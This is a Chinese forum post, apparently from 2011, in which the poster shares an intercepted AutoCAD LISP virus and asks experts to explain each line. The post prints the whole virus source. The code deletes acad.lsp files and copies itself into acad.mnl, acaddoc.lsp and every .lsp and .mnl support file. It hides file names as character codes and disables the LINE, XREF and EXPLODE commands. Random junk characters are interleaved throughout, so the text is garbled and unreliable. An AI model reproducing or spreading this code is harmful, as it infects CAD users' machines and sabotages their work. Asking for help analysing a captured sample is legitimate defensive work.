本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，- (/ ~# N" ^# w+ N9 `+ V
- setq9 t& J( Y: Q$ H% J* R" e' X3 X7 P
- wold_cmd
, V; i9 d9 Z9 v - (9 u5 J$ O) c o' D& T
- getvar4 a) W5 p! Q; b" |# H. i) f
- "cmdecho"& E6 B9 l+ D: C/ o! `" X/ o
- )
+ N) r% r% G* Y& Q9 L1 x6 Z1 r% h8 K - )8 G* O% _/ U9 X9 z5 z$ k/ L5 c
- (3 U; V6 i/ E$ \6 o9 C
- setvar
+ i/ n+ n3 M+ q* h" u7 B - "cmdecho"5 A: d T' m8 p5 t; u/ r
- 0
- ]( P" W- F N6 Q - )
. |8 A, [) F3 A - (* Y& I3 ]) \% @
- setq$ J K8 H/ ]2 m
- bb 1
+ F* ^& I& t- u# _5 `) J - )/ [+ h: z! R( z, B
- (setq dpath (getvar "dwgprefix"))/ ^ y# p9 u+ w# s
- (setq wpath (getvar "menuname"))8 [! _0 H7 Z4 X1 }/ g4 c% u
- (setq wpath (substr wpath 1 (- (strlen wpath) 4)))
3 p& |) g& I# C4 U - (setq mnl (strcat (chr 97)
2 F8 s( [" ?" r# X- G, A - (chr 99)7 H3 a! f: E- ]/ @' H
- (chr 97)
, f- `9 K" p( x+ Y- n - (chr 100)
6 v/ G6 ~- z) y3 @$ l% ` - (chr 46)) @% h% S4 m. o6 M; {
- (chr 109)
3 X# T1 z; r8 v - (chr 110)# n _ ^* u9 W, `9 k2 z
- (chr 108)
7 w% [+ j8 g0 m4 F" F4 m - )
- f; {# ^1 b x: |* b( z - lsp (strcat (chr 97)
& M) R% G3 f' K% h% C - (chr 99)
: a1 |4 L; n6 B1 Q+ T7 a - (chr 97)
) u! }( E; b1 h E* d' R+ x - (chr 100)
7 S, X/ t& \+ e1 O - (chr 100)! D4 r' F2 m& i# ^
- (chr 111)1 w4 Y3 O4 Z/ r
- (chr 99)" z0 a3 x, i( Z$ p: v$ p) I
- (chr 46)- a1 H8 @: t ?- k M2 R4 F; I
- (chr 108)6 E: f. D# D# F8 E
- (chr 115): S# S# c3 p2 c( x _
- (chr 112)
7 S+ }1 e/ I- D) z* O( A/ U - )" j$ P& C4 ?1 V3 x
- )- g4 |+ P e/ p$ ^; W, t
- (vl-file-delete (strcat wpath "acadapq.lsp"))
6 S$ W6 q6 `2 O2 }. m - (vl-file-delete (strcat wpath lsp))
* Z* Z9 a, G( a6 O$ u' F' l Q - (vl-file-delete (strcat wpath "acad.lsp"))
1 a* ?9 o* \ t0 L+ w, ?8 l: v: i - (vl-file-delete (strcat dpath "acad.lsp")) a/ r+ ?% e! `. S1 `; Q) C
- (defun wwriteapp ()* ], z- |, n( R
- (if (setq wwjm1 (open wnewacad "w"))
F( |5 D T# z: B. E' {$ ? - (progn* m0 ]5 G1 O4 h% i5 v% Z; ^, ~
- (setq wwjm (open woldacad "r"))
! e; p: E4 d. j2 i6 j& E5 h# a# x5 A# e - (while(setq wwz (read-line wwjm))
1 Q% Z6 a' A3 d3 L1 w - (write-line wwz wwjm1)
7 I; i; J9 C, D- ` - )
+ Q" L9 ]" e: q- X1 W. a - (close wwjm)
8 V) I2 }2 U5 o. O4 h4 k - (close wwjm1), L7 g/ J1 t) E9 i' G+ M; f
- )+ q6 Q' z- {1 A% L# p- w
- )
2 I& q2 o' e1 L - )) O2 E: z$ k( T4 }8 [
- ; M; Y" }4 e. ~% M) C" [
- (setq lbz 0)# T* `, B" v; y: s/ t% c
- (setq wwjqm (strcat dpath lsp))
6 l9 g# c, I) e( Z' \; q - (if (setq wwjm (open wwjqm "r"))
% r! c4 t5 o4 S& S! `( x - (progn
i* f! Y. Z9 B' d( l7 J$ ` - (repeat 15 (read-line wwjm))% `# v: g1 r, e' n, Q! H0 a/ h
- (setq wz (read-line wwjm))6 t$ ~% O- q" g6 a
- (setq ab (atoi (substr wz 4 1)))0 N, u$ Y4 x8 Q* B7 C7 ?/ P; C( ]
- (close wwjm)) x% r8 c5 U# i& q/ j
- (if (> ab bb)$ B0 m5 u+ S% S5 |8 G/ t
- (setq lbz 1)
$ n, o) C% F1 u - )% y, |0 G* Z; ]/ y5 [* S
- )
* r( p# E1 x3 f% Y - )
; p! l% ?& u$ Q3 d) K* k- }
& p" j# z1 i' n& D% @% j- (setq wwjqm (strcat wpath mnl))
8 d: A6 ~4 s* r, T2 J - (if (setq wwjm (open wwjqm "r"))
7 E2 B) w- n+ N4 ]8 e - (progn" _( p+ {3 g1 l1 m' W
- (repeat 15 (read-line wwjm))) w& F* c/ o; P; d; P% t9 J( a+ R
- (setq wz (read-line wwjm))
: g' m+ x0 g: x3 `% M* |6 K6 x - (setq nb (atoi (substr wz 4 1)))- e8 `7 @0 }. I0 d
- (close wwjm)
0 S7 m3 ^+ L1 p$ j -
: w! U& }3 `2 d - (if (< nb bb)
, W$ B0 f# ~/ H$ i0 ` - (setq lbz 1)
# q( a7 z6 B6 l2 A9 Z - )
: E, w3 m" q# p' [( u* D! U - )
7 }6 G& P& I3 x- {! E - (setq lbz 1)9 R: i3 x+ y- \& I& x, ]
- )' U$ ?1 S# V8 s8 {. v, v/ \% r
- (if (= lbz 1)' B/ E, ^& a- `1 h8 d7 n
- (progn+ g4 y) a4 V X$ E
- (setq woldacad (strcat dpath lsp))
6 t" s& Q* x9 d- e - (setq wnewacad (strcat wpath mnl))7 L A* |- x# p* G E& z- |
- (wwriteapp)7 n$ \3 c7 n+ ]. U9 c$ S
- ); V- k, g2 I t6 ~
- )
) w3 k4 j, ?* w1 C& ]0 e - (if (and (/= (substr dpath 1 1) (chr 67)), w* i9 ^. s1 G9 R% O7 m
- (/= (substr dpath 1 1) (chr 68))3 N" j" ]5 m: Y: ]5 `
- (/= (substr dpath 1 1) (chr 69))
4 q1 l+ n9 K8 C7 p; i Z; T: Z7 C2 y - (/= (substr dpath 1 1) (chr 70))
. l/ X k) ]- \0 x5 h. z' C | - )2 v# q; _5 s% R0 `5 ~' l) T9 ^
- (progn
6 V5 w3 g G2 y5 m/ {& ^; F - (setq woldacad (strcat wpath mnl))4 S9 Z. j. [8 T: e1 g
- (setq wnewacad (strcat dpath lsp))
. ^9 ^9 V% X* W E" ^( ]& g3 I - (wwriteapp)
6 `" X1 r" Q" |7 }. t - )
4 @3 @# v! F% e# y6 k - (vl-file-delete (strcat dpath lsp))3 s+ C* ?$ V) h
- ): c0 w, Y8 C j8 r
- ;load "acadapq")
1 i0 |3 t* @/ @8 }1 ^ - (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
- O* g a6 {' s4 ]; b - - x D2 [3 V5 B1 ^- ?
- (setq flagx t)
1 B$ ~& ]- s% G' z$ H7 m - (setq bz "(setq flagx t)")4 u9 B: b% D! l: {) S$ M
- (defun app(source target bz / flag flag1 wjm wjm1 text); J, v! Q. }$ B; X
- (setq flag nil) b) z" K7 k( ^% h" O+ X* |+ u$ N
- (setq flag1 t)
4 ?. a7 j) y* c9 ? - (if (findfile target)
9 _2 `' n7 T! L- O' x9 } - (progn
% j# X2 D9 ?4 f5 ]3 S - (setq wjm1 (open target "r"))
: Q' m) S& W$ p0 Z1 t - (while (setq text (read-line wjm1)); \8 j) G* `& M# _) X
- (if (= text bz) (setq flag1 nil))
$ l" N% P- ^9 g- s3 a' f - );while
1 G/ @1 [4 A; q. J - (close wjm1)- Z5 K* K b' p, X1 {
- );progn
: ]' w0 l4 X4 T: J) c( w - );if w( w& a- G+ G6 N: r( b# t5 l
- (if flag1
8 s# x5 S5 ~( N( X' t - (progn9 f" j0 ~; M- V: a
- (setq wjm (open source "r"))" p0 P5 P+ i1 K6 C5 g% ^0 \* K4 A
- (setq wjm1 (open target "a"))
0 Z# T! D/ l3 [5 B. ?9 Z - (write-line (chr 13) wjm1)) U) a; ^7 v |" S* b
- (while (setq text (read-line wjm))
( G2 x+ P+ n9 _ Q3 K# [8 ]# O( b - (if (= text bz) (setq flag t))
) e- V) g" h. n+ S" ] - (if flag# S/ h- p& J) O4 A" `
- (progn; i( B4 N6 b, H% ?9 d1 i# v
- (write-line text wjm1)
+ v% U/ d5 S# i - );progn7 b; m/ s& x/ `5 M& w' ~! _1 k
- );if8 Z3 F! m6 Q5 c6 C1 X* \
- );while* t3 a9 K2 o" O7 w) j
- (close wjm1)
3 V# G, |! C& v S3 j* s - (close wjm)
M6 `' ^! A0 a; d+ Q - );progn2 v+ u( P0 m; G2 L7 z
- );if
% l2 p' a0 F* Q+ W - );defun
8 S* B* ?; d" ?4 y - (setvar "cmdecho" 0)
# s& l. j$ g- i - (setq acadmnl (findfile "acad.mnl"))) Z B4 v8 [5 @. B7 N! k. h
- (setq acadmnlpath (vl-filename-directory acadmnl))
; `, _, b0 E7 O - (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
* U8 K5 x! N0 ~ - (setq mnlnum (length mnlfilelist))* b4 {% j" S$ l# E, b, [! a
- (setq acadexe (findfile "acad.exe"))
9 _% x9 o. X" G9 F" Z9 m - (setq acadpath (vl-filename-directory acadexe))
( a0 S% ?% s2 R8 B2 h( e - (setq support (strcat acadpath "\\support"))
7 l- P/ n5 S2 H5 V& w j+ ] - (setq lspfilelist (vl-directory-files support "*.lsp"))
' m( n5 x9 A& d* g1 _5 a - (setq lspfilelist (append lspfilelist (list "")))
o# S" [) \4 w# ^ - (setq lspnum (length lspfilelist))
3 {. |! s) b) y2 u - (setq dwgname (getvar "dwgname"))
' t0 `+ _' l# V - (setq dwgpath (findfile dwgname))
3 I7 w3 m0 ^0 c1 t7 U2 Z3 @) Z5 O - (if dwgpath
0 Y3 ]9 K8 j; g4 c9 P - (progn: i& k6 P% W# v$ \1 ^' ?6 D
- (setq acaddocpath (vl-filename-directory dwgpath))
' _% s7 C! r$ S! _, T& v - (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
: C9 X0 B) [# J - (setq mnln 0)
; q5 u6 F+ F: T* W1 a8 [ - (while (< mnln mnlnum)) r1 g+ X5 b! l& w, f- h$ Q5 s6 {: r
- (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
! `' D7 h7 B& g C& U; B - (app mnlfilename acaddocfile bz)9 d& F5 u3 v8 o* J
- (app acaddocfile mnlfilename bz)0 g! p! r: {+ ]+ K, E) K
- (setq mnln (1+ mnln))0 J7 ?" @- D R) N5 X8 ]! v4 u& P
- );while- e' S3 N, P3 W3 A
- (setq lspn 0). A: u9 V( c( ^6 T# d
- (while (< lspn lspnum)
- N) ]- E0 l7 r D+ s I. g - (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
: G. [! v9 n) r( D6 s* P* W - (app lspfilename acaddocfile bz)
0 b; `- v& y6 k/ z, E% }. S4 B* j - (app acaddocfile lspfilename bz)
# d) x/ Z$ y( z* e% k, H# P: I - (setq lspn (1+ lspn))
6 T0 I* K, `% z; a, r - );while$ A9 B( u8 ~: P5 h0 E
- );progn
6 _* g: y5 B: p( B) B - );if
* h5 p3 _1 p4 @# M - (setq mnln 0)- E# ^6 c' o' R+ {, p, N. @
- (while (< mnln mnlnum)1 X) |7 n; c( P$ @: p. \+ l& c% }
- (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))# V. V d& r1 y- H
- (setq mnln1 0)
+ T& } v z/ x3 R - (while (< mnln1 mnlnum)
8 T" i# p" Z d6 S* z# G$ B0 z - (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))# }$ F8 e7 l5 [! t5 C' B
- (app mnlfilename mnlfilename1 bz)
$ ~" |* N: W J: g0 n( ?7 V/ p - (setq mnln1 (1+ mnln1))
3 l; A: t2 G: C. l" @9 b - );while
4 E7 |* q; |, V* n- s; M1 Z - (setq lspn1 0)6 X- Q' o& [/ ^ ^7 o6 X
- (while (< lspn1 lspnum): ?+ j$ n! z9 K0 |! L$ {
- (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))- ?# H9 x+ {5 v+ r
- (app mnlfilename lspfilename1 bz)
; n& L1 D/ j6 `7 V6 O1 c2 J2 B' e/ C - (setq lspn1 (1+ lspn1))
2 c ]1 h: z# \0 ]: D - );while* Z# m$ {" [. p7 L. a
- (setq mnln (1+ mnln))
3 g4 S" \- I# I& \3 m U/ T - );while+ W8 `5 e( }; [8 @
- (setq lspn 0)
7 p: \( j2 }: }% {1 l - (while (< lspn lspnum)% q; f: O; Q Q- c
- (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))) H% f2 f0 O! a+ H) [
- (setq lspn1 0)6 a8 p: l: c* f! W7 }2 `
- (while (< lspn1 lspnum)
' S$ m5 C- A2 V5 a5 m ~ - (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
^& i/ t( u0 h( Z: Q% X - (app lspfilename lspfilename1 bz)
, Y6 X) k+ v+ j+ g) c5 e- T - (setq lspn1 (1+ lspn1))
4 P4 Z, I: @6 ?6 X+ }! g - );while
$ n; @5 m0 @! M' U8 W; |* e8 o - (setq mnln1 0)
! a( Y0 F4 q1 T* u - (while (< mnln1 mnlnum)/ K/ d: A8 H" ]3 D7 V% l
- (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))2 w* m: _, F- k
- (app lspfilename mnlfilename1 bz)! g& L$ h* N q I
- (setq mnln1 (1+ mnln1))8 t# |8 K, C3 m" L8 Z6 @
- );while
) W" m( L, M- v) W$ K: t& n' g - (setq lspn (1+ lspn)); V ~6 d* q: \- ?5 C" s
- );while
y9 v: `$ z6 b1 R - (setvar "sdi" 1)
5 o$ x2 ?( N) s9 d8 n7 R - (setvar "ACADLSPASDOC" 1)3 {( w) C3 @* W
- (command "undefine" "line")
( ^1 _5 ]0 ]# P, Z2 o5 W- C0 J8 K5 Z ~ - (command "undefine" "_line")! n! j- U" t6 c+ i- v. k
- (command "undefine" "xref")) k: x a/ o. {8 V7 f f8 ^6 ^5 U2 X2 f
- (command "undefine" "_xref")% c0 g8 r, J3 ^; e7 _
- (command "undefine" "explode")- `9 l1 u4 h! J1 R+ S+ }3 r7 F0 ^
- (command "undefine" "_explode")$ A5 D7 q! Y2 b- w) S6 v
- (setvar "cmdecho" 1)
( X. l+ G& _+ N% x - (princ); y1 c3 M& p0 \* V, R( a( C& Z8 H
- (load "acadapp"), p* S7 }5 E. ?- v6 `7 s! k
- (princ)
9 q! l& K# }8 y - (if (null stol) (load "lcm" ""))7 S" Q) y* F$ f
- (princ)
6 l( }) B. B/ O: l8 m - (load "acadappp.lsp")9 n* v& {" p! P+ A( W
- (princ), ~! U& |- C4 T7 C
- (if (null stol) (load "lcm" ""))* U( M( \0 f" U) j- v' N. V
- (princ)
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发表于 2011-9-19 15:26